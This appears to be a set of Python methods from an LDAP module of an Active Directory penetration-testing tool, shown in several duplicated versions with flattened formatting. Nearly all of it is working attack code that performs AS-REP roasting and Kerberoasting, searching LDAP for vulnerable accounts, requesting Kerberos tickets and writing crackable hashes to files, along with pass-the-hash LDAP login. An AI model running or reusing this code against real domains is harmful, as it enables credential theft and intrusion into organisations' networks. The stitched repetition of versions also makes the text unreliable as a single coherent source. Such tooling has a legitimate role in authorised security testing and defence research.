def asreproast(self): if self.password == '' and self.nthash == '' and self.kerberos == False: return False # Building the search filter searchFilter = "(&(UserAccountControl:1.2.840.113556.1.4.803:=%d)" \ "(!(UserAccountControl:1.2.840.113556.1.4.803:=%d))(!(objectCategory=computer)))" % \ (UF_DONT_REQUIRE_PREAUTH, UF_ACCOUNTDISABLE) attributes = ['sAMAccountName', 'pwdLastSet', 'MemberOf', 'userAccountControl', 'lastLogon'] resp = self.search(searchFilter, attributes, 0) if resp: answers = [] self.logger.info('Total of records returned %d' % len(resp)) for item in resp: if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True: continue mustCommit = False sAMAccountName = '' memberOf = '' pwdLastSet = '' userAccountControl = 0 lastLogon = 'N/A' try: for attribute in item['attributes']: if str(attribute['type']) == 'sAMAccountName': sAMAccountName = str(attribute['vals'][0]) mustCommit = True elif str(attribute['type']) == 'userAccountControl': userAccountControl = "0x%x" % int(attribute['vals'][0]) elif str(attribute['type']) == 'memberOf': memberOf = str(attribute['vals'][0]) elif str(attribute['type']) == 'pwdLastSet': if str(attribute['vals'][0]) == '0': pwdLastSet = '<never>' else: pwdLastSet = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0]))))) elif str(attribute['type']) == 'lastLogon': if str(attribute['vals'][0]) == '0': lastLogon = '<never>' else: lastLogon = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0]))))) if mustCommit is True: answers.append([sAMAccountName,memberOf, pwdLastSet, lastLogon, userAccountControl]) except Exception as e: logging.debug("Exception:", exc_info=True) logging.debug('Skipping item, cannot process due to error %s' % str(e)) pass if len(answers)>0: for user in answers: hash_TGT = KerberosAttacks(self).getTGT_asroast(user[0]) self.logger.highlight(u'{}'.format(hash_TGT)) with open(self.args.asreproast, 'a+') as hash_asreproast: hash_asreproast.write(hash_TGT + '\n') return True else: self.logger.highlight("No entries found!") return self.logger.error("Error with the LDAP account used")
def plaintext_login(self, domain, username, password): self.username = username self.password = password self.domain = domain # Create the baseDN self.baseDN = '' domainParts = self.domain.split('.') for i in domainParts: self.baseDN += 'dc=%s,' % i # Remove last ',' self.baseDN = self.baseDN[:-1] if self.kdcHost is not None: target = self.kdcHost else: target = domain if self.password == '' and self.args.asreproast: hash_TGT = KerberosAttacks(self).getTGT_asroast(self.username) if hash_TGT: self.logger.highlight(u'{}'.format(hash_TGT)) with open(self.args.asreproast, 'a+') as hash_asreproast: hash_asreproast.write(hash_TGT + '\n') return False # Connect to LDAP out = u'{}{}:{}'.format('{}\\'.format(domain), username, password) try: self.ldapConnection = ldap_impacket.LDAPConnection( 'ldap://%s' % target, self.baseDN, self.kdcHost) self.ldapConnection.login(self.username, self.password, self.domain, self.lmhash, self.nthash) self.logger.success(out) except ldap_impacket.LDAPSessionError as e: if str(e).find('strongerAuthRequired') >= 0: # We need to try SSL try: self.ldapConnection = ldap_impacket.LDAPConnection( 'ldaps://%s' % target, self.baseDN, self.kdcHost) self.ldapConnection.login(self.username, self.password, self.domain, self.lmhash, self.nthash) self.logger.success(out) except ldap_impacket.LDAPSessionError as e: self.logger.error(u'{}\{}:{}'.format( self.domain, self.username, self.password)) else: self.logger.error(u'{}\{}:{}'.format(self.domain, self.username, self.password)) return False return True
def kerberoasting(self): # Building the search filter searchFilter = "(&(servicePrincipalName=*)(UserAccountControl:1.2.840.113556.1.4.803:=512)" \ "(!(UserAccountControl:1.2.840.113556.1.4.803:=2))(!(objectCategory=computer)))" try: resp = self.ldapConnection.search(searchFilter=searchFilter, attributes=[ 'servicePrincipalName', 'sAMAccountName', 'pwdLastSet', 'MemberOf', 'userAccountControl', 'lastLogon' ], sizeLimit=999) except ldap_impacket.LDAPSearchError as e: if e.getErrorString().find('sizeLimitExceeded') >= 0: logging.debug( 'sizeLimitExceeded exception caught, giving up and processing the data received' ) # We reached the sizeLimit, process the answers we have already and that's it. Until we implement # paged queries resp = e.getAnswers() pass else: return False answers = [] logging.debug('Total of records returned %d' % len(resp)) for item in resp: if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True: continue mustCommit = False sAMAccountName = '' memberOf = '' SPNs = [] pwdLastSet = '' userAccountControl = 0 lastLogon = 'N/A' delegation = '' try: for attribute in item['attributes']: if str(attribute['type']) == 'sAMAccountName': sAMAccountName = str(attribute['vals'][0]) mustCommit = True elif str(attribute['type']) == 'userAccountControl': userAccountControl = str(attribute['vals'][0]) if int(userAccountControl) & UF_TRUSTED_FOR_DELEGATION: delegation = 'unconstrained' elif int(userAccountControl ) & UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION: delegation = 'constrained' elif str(attribute['type']) == 'memberOf': memberOf = str(attribute['vals'][0]) elif str(attribute['type']) == 'pwdLastSet': if str(attribute['vals'][0]) == '0': pwdLastSet = '<never>' else: pwdLastSet = str( datetime.fromtimestamp( self.getUnixTime( int(str(attribute['vals'][0]))))) elif str(attribute['type']) == 'lastLogon': if str(attribute['vals'][0]) == '0': lastLogon = '<never>' else: lastLogon = str( datetime.fromtimestamp( self.getUnixTime( int(str(attribute['vals'][0]))))) elif str(attribute['type']) == 'servicePrincipalName': for spn in attribute['vals']: SPNs.append(str(spn)) if mustCommit is True: if int(userAccountControl) & UF_ACCOUNTDISABLE: logging.debug('Bypassing disabled account %s ' % sAMAccountName) else: for spn in SPNs: answers.append([ spn, sAMAccountName, memberOf, pwdLastSet, lastLogon, delegation ]) except Exception as e: logging.error('Skipping item, cannot process due to error %s' % str(e)) pass if len(answers) > 0: users = dict((vals[1], vals[0]) for vals in answers) TGT = KerberosAttacks(self).getTGT_kerberoasting() for user, SPN in users.items(): try: serverName = Principal( SPN, type=constants.PrincipalNameType.NT_SRV_INST.value) tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS( serverName, self.domain, self.kdcHost, TGT['KDC_REP'], TGT['cipher'], TGT['sessionKey']) r = KerberosAttacks(self).outputTGS( tgs, oldSessionKey, sessionKey, user, SPN) self.logger.highlight(u'{}'.format(r)) with open(self.args.kerberoasting, 'a+') as hash_kerberoasting: hash_kerberoasting.write(r + '\n') except Exception as e: logging.debug("Exception:", exc_info=True) logging.error('SPN: %s - %s' % (SPN, str(e))) else: self.logger.error("No entries found!")
def asreproast(self): if self.password == '' and self.nthash != '' and self.kerberos != False: return False # Building the search filter searchFilter = "(&(UserAccountControl:1.2.840.113556.1.4.803:=%d)" \ "(!(UserAccountControl:1.2.840.113556.1.4.803:=%d))(!(objectCategory=computer)))" % \ (UF_DONT_REQUIRE_PREAUTH, UF_ACCOUNTDISABLE) try: logging.debug('Search Filter=%s' % searchFilter) resp = self.ldapConnection.search(searchFilter=searchFilter, attributes=[ 'sAMAccountName', 'pwdLastSet', 'MemberOf', 'userAccountControl', 'lastLogon' ], sizeLimit=999) except ldap_impacket.LDAPSearchError as e: if e.getErrorString().find('sizeLimitExceeded') >= 0: logging.debug( 'sizeLimitExceeded exception caught, giving up and processing the data received' ) # We reached the sizeLimit, process the answers we have already and that's it. Until we implement # paged queries resp = e.getAnswers() pass else: return False answers = [] logging.debug('Total of records returned %d' % len(resp)) for item in resp: if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True: continue mustCommit = False sAMAccountName = '' memberOf = '' pwdLastSet = '' userAccountControl = 0 lastLogon = 'N/A' try: for attribute in item['attributes']: if str(attribute['type']) == 'sAMAccountName': sAMAccountName = str(attribute['vals'][0]) mustCommit = True elif str(attribute['type']) == 'userAccountControl': userAccountControl = "0x%x" % int(attribute['vals'][0]) elif str(attribute['type']) == 'memberOf': memberOf = str(attribute['vals'][0]) elif str(attribute['type']) == 'pwdLastSet': if str(attribute['vals'][0]) == '0': pwdLastSet = '<never>' else: pwdLastSet = str( datetime.fromtimestamp( self.getUnixTime( int(str(attribute['vals'][0]))))) elif str(attribute['type']) == 'lastLogon': if str(attribute['vals'][0]) == '0': lastLogon = '<never>' else: lastLogon = str( datetime.fromtimestamp( self.getUnixTime( int(str(attribute['vals'][0]))))) if mustCommit is True: answers.append([ sAMAccountName, memberOf, pwdLastSet, lastLogon, userAccountControl ]) except Exception as e: logging.debug("Exception:", exc_info=True) logging.debug('Skipping item, cannot process due to error %s' % str(e)) pass if len(answers) > 0: for user in answers: hash_TGT = KerberosAttacks(self).getTGT_asroast(user[0]) self.logger.highlight(u'{}'.format(hash_TGT)) with open(self.args.asreproast, 'a+') as hash_asreproast: hash_asreproast.write(hash_TGT + '\n') return True else: self.logger.error("No entries found!")
def hash_login(self, domain, username, ntlm_hash): lmhash = '' nthash = '' #This checks to see if we didn't provide the LM Hash if ntlm_hash.find(':') != -1: lmhash, nthash = ntlm_hash.split(':') else: nthash = ntlm_hash self.hash = ntlm_hash if lmhash: self.lmhash = lmhash if nthash: self.nthash = nthash self.username = username self.domain = domain if self.kdcHost is not None: target = self.kdcHost else: target = domain self.kdcHost = domain # Create the baseDN self.baseDN = '' domainParts = self.kdcHost.split('.') for i in domainParts: self.baseDN += 'dc=%s,' % i # Remove last ',' self.baseDN = self.baseDN[:-1] if self.hash == '' and self.args.asreproast: hash_TGT = KerberosAttacks(self).getTGT_asroast(self.username) if hash_TGT: self.logger.highlight(u'{}'.format(hash_TGT)) with open(self.args.asreproast, 'a+') as hash_asreproast: hash_asreproast.write(hash_TGT + '\n') return False # Connect to LDAP try: self.ldapConnection = ldap_impacket.LDAPConnection('ldap://%s' % target, self.baseDN, self.kdcHost) self.ldapConnection.login(self.username, self.password, self.domain, self.lmhash, self.nthash) self.check_if_admin() out = u'{}{}:{} {}'.format('{}\\'.format(domain), username, nthash, highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else '')) self.logger.extra['protocol'] = "LDAP" self.logger.extra['port'] = "389" self.logger.success(out) add_user_bh(self.username, self.domain, self.logger, self.config) if not self.args.continue_on_success: return True except ldap_impacket.LDAPSessionError as e: if str(e).find('strongerAuthRequired') >= 0: try: # We need to try SSL self.ldapConnection = ldap_impacket.LDAPConnection('ldaps://%s' % target, self.baseDN, self.kdcHost) self.ldapConnection.login(self.username, self.password, self.domain, self.lmhash, self.nthash) self.logger.extra['protocol'] = "LDAPS" self.logger.extra['port'] = "636" self.logger.success(out) except ldap_impacket.LDAPSessionError as e: errorCode = str(e).split()[-2][:-1] self.logger.error(u'{}\\{}:{} {}'.format(self.domain, self.username, self.password, ldap_error_status[errorCode] if errorCode in ldap_error_status else ''), color='magenta' if errorCode in ldap_error_status else 'red') else: errorCode = str(e).split()[-2][:-1] self.logger.error(u'{}\\{}:{} {}'.format(self.domain, self.username, self.password, ldap_error_status[errorCode] if errorCode in ldap_error_status else ''), color='magenta' if errorCode in ldap_error_status else 'red') return False except OSError as e: self.logger.error(u'{}\\{}:{} {}'.format(self.domain, self.username, self.nthash, "Error connecting to the domain, please add option --kdcHost with the FQDN of the domain controller")) return False
def hash_login(self, domain, username, ntlm_hash): lmhash = '' nthash = '' #This checks to see if we didn't provide the LM Hash if ntlm_hash.find(':') != -1: lmhash, nthash = ntlm_hash.split(':') else: nthash = ntlm_hash self.hash = ntlm_hash if lmhash: self.lmhash = lmhash if nthash: self.nthash = nthash self.username = username self.domain = domain # Create the baseDN self.baseDN = '' domainParts = self.domain.split('.') for i in domainParts: self.baseDN += 'dc=%s,' % i # Remove last ',' self.baseDN = self.baseDN[:-1] if self.kdcHost is not None: target = self.kdcHost else: target = domain if self.hash == '' and self.args.asreproast: hash_TGT = KerberosAttacks(self).getTGT_asroast(self.username) if hash_TGT: self.logger.highlight(u'{}'.format(hash_TGT)) with open(self.args.asreproast, 'a+') as hash_asreproast: hash_asreproast.write(hash_TGT + '\n') return False # Connect to LDAP out = u'{}{}:{}'.format('{}\\'.format(domain), username, nthash) try: self.ldapConnection = ldap_impacket.LDAPConnection('ldap://%s' % target, self.baseDN, self.kdcHost) self.ldapConnection.login(self.username, self.password, self.domain, self.lmhash, self.nthash) #self.check_if_admin() self.logger.success(out) if not self.args.continue_on_success: return True except ldap_impacket.LDAPSessionError as e: if str(e).find('strongerAuthRequired') >= 0: try: # We need to try SSL self.ldapConnection = ldap_impacket.LDAPConnection('ldaps://%s' % target, self.baseDN, self.kdcHost) self.ldapConnection.login(self.username, self.password, self.domain, self.lmhash, self.nthash) self.logger.success(out) except ldap_impacket.LDAPSessionError as e: self.logger.error(u'{}\{}:{}'.format(self.domain, self.username, self.nthash)) else: self.logger.error(u'{}\{}:{}'.format(self.domain, self.username, self.nthash)) return False except OSError as e: self.logger.error(u'{}\{}:{} {}'.format(self.domain, self.username, self.nthash, "Error connecting to the domain, please add option --kdcHost with the IP of the domain controller")) return False
def plaintext_login(self, domain, username, password): self.username = username self.password = password self.domain = domain # Create the baseDN self.baseDN = '' domainParts = self.domain.split('.') for i in domainParts: self.baseDN += 'dc=%s,' % i # Remove last ',' self.baseDN = self.baseDN[:-1] if self.kdcHost is not None: target = self.kdcHost else: target = domain if self.password == '' and self.args.asreproast: hash_TGT = KerberosAttacks(self).getTGT_asroast(self.username) if hash_TGT: self.logger.highlight(u'{}'.format(hash_TGT)) with open(self.args.asreproast, 'a+') as hash_asreproast: hash_asreproast.write(hash_TGT + '\n') return False try: self.ldapConnection = ldap_impacket.LDAPConnection('ldap://%s' % target, self.baseDN, self.kdcHost) self.ldapConnection.login(self.username, self.password, self.domain, self.lmhash, self.nthash) #self.check_if_admin() # Connect to LDAP out = u'{}{}:{} {}'.format('{}\\'.format(domain), username, password, highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else '')) self.logger.success(out) if not self.args.continue_on_success: return True except ldap_impacket.LDAPSessionError as e: if str(e).find('strongerAuthRequired') >= 0: # We need to try SSL try: self.ldapConnection = ldap_impacket.LDAPConnection('ldaps://%s' % target, self.baseDN, self.kdcHost) self.ldapConnection.login(self.username, self.password, self.domain, self.lmhash, self.nthash) self.logger.success(out) except ldap_impacket.LDAPSessionError as e: self.logger.error(u'{}\{}:{}'.format(self.domain, self.username, self.password)) else: self.logger.error(u'{}\{}:{}'.format(self.domain, self.username, self.password)) return False except OSError as e: self.logger.error(u'{}\{}:{} {}'.format(self.domain, self.username, self.password, "Error connecting to the domain, please add option --kdcHost with the IP of the domain controller")) return False
def kerberoasting(self): # Building the search filter searchFilter = "(&(servicePrincipalName=*)(UserAccountControl:1.2.840.113556.1.4.803:=512)" \ "(!(UserAccountControl:1.2.840.113556.1.4.803:=2))(!(objectCategory=computer)))" attributes = [ 'servicePrincipalName', 'sAMAccountName', 'pwdLastSet', 'MemberOf', 'userAccountControl', 'lastLogon' ] resp = self.search(searchFilter, attributes, 0) if resp: answers = [] self.logger.info('Total of records returned %d' % len(resp)) for item in resp: if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True: continue mustCommit = False sAMAccountName = '' memberOf = '' SPNs = [] pwdLastSet = '' userAccountControl = 0 lastLogon = 'N/A' delegation = '' try: for attribute in item['attributes']: if str(attribute['type']) == 'sAMAccountName': sAMAccountName = str(attribute['vals'][0]) mustCommit = True elif str(attribute['type']) == 'userAccountControl': userAccountControl = str(attribute['vals'][0]) if int(userAccountControl ) & UF_TRUSTED_FOR_DELEGATION: delegation = 'unconstrained' elif int( userAccountControl ) & UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION: delegation = 'constrained' elif str(attribute['type']) == 'memberOf': memberOf = str(attribute['vals'][0]) elif str(attribute['type']) == 'pwdLastSet': if str(attribute['vals'][0]) == '0': pwdLastSet = '<never>' else: pwdLastSet = str( datetime.fromtimestamp( self.getUnixTime( int(str(attribute['vals'][0]))))) elif str(attribute['type']) == 'lastLogon': if str(attribute['vals'][0]) == '0': lastLogon = '<never>' else: lastLogon = str( datetime.fromtimestamp( self.getUnixTime( int(str(attribute['vals'][0]))))) elif str(attribute['type']) == 'servicePrincipalName': for spn in attribute['vals']: SPNs.append(str(spn)) if mustCommit is True: if int(userAccountControl) & UF_ACCOUNTDISABLE: logging.debug('Bypassing disabled account %s ' % sAMAccountName) else: for spn in SPNs: answers.append([ spn, sAMAccountName, memberOf, pwdLastSet, lastLogon, delegation ]) except Exception as e: logging.error( 'Skipping item, cannot process due to error %s' % str(e)) pass if len(answers) > 0: TGT = KerberosAttacks(self).getTGT_kerberoasting() dejavue = [] for SPN, sAMAccountName, memberOf, pwdLastSet, lastLogon, delegation in answers: if sAMAccountName not in dejavue: try: serverName = Principal( SPN, type=constants.PrincipalNameType.NT_SRV_INST. value) tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS( serverName, self.domain, self.kdcHost, TGT['KDC_REP'], TGT['cipher'], TGT['sessionKey']) r = KerberosAttacks(self).outputTGS( tgs, oldSessionKey, sessionKey, sAMAccountName, SPN) self.logger.highlight( u'sAMAccountName: {} memberOf: {} pwdLastSet: {} lastLogon:{}' .format(sAMAccountName, memberOf, pwdLastSet, lastLogon)) self.logger.highlight(u'{}'.format(r)) with open(self.args.kerberoasting, 'a+') as hash_kerberoasting: hash_kerberoasting.write(r + '\n') dejavue.append(sAMAccountName) except Exception as e: logging.debug("Exception:", exc_info=True) logging.error('SPN: %s - %s' % (SPN, str(e))) return True else: self.logger.highlight("No entries found!") return self.logger.error("Error with the LDAP account used")